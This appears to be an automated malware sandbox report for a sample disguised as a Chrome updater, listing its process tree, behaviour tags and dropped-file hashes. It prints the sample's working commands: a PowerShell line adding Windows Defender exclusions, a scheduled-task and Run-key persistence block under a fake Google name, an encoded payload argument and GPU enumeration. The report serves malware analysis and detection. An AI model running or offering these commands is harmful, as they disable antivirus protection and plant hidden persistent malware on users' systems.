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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3540
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4076
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:4196
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3064
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4116
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4684
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4072
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
- Drops file in Program Files directory
PID:4780
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
453KB
MD5ac0b88f39a12673dc3480b047a75ee3c
SHA158b2875b94840287361d5d25f9f313b73293fc31
SHA256fd90c20fc4a6e3e21b98a5d54f52e1e31c9136cf5d978f2721aee8331a48e9e2
SHA5122da0ea337f47305d6f9c2b3ba0f0a132a0a13fb35d32839cca7f9f1c4f00963663cf4d108a125863760947d736fff73282ace79623472dfc81ac6579a7181c1d
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Filesize
449KB
MD54cc8cad87d40fb61f5f2d55ead7da814
SHA1690d1ac01430ed63af43e42c5ac792671a205486
SHA25625c9e5c74ca1128fff907c3da20ca106766b0b2574b9417fa1170942d0793185
SHA51251373e864febbd531677a9d80890efc197aeefb236f430591b9855b858498fd4b589f04dbd78c8e8e859d6042bd5e23f9ba4e35d6573fb822478552307e52c76
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
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Filesize
1KB
MD54915f53060b9d5363c2eb0ea838c2836
SHA1489ed44b5c85e7c8bc7a44b3bdce29986cead302
SHA2567828be27455ec80e2c1273a7243655455a62dfd66afee04e007bf26da428e0e7
SHA5124003143cb71f32b469b4e48370e45ad7b8dd3f49e9e7c41caf193464ab5fe3d31ae4ded09e58b122c42a5eda65e868bd6ca1be335aeadf2d2ac303cce043243c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5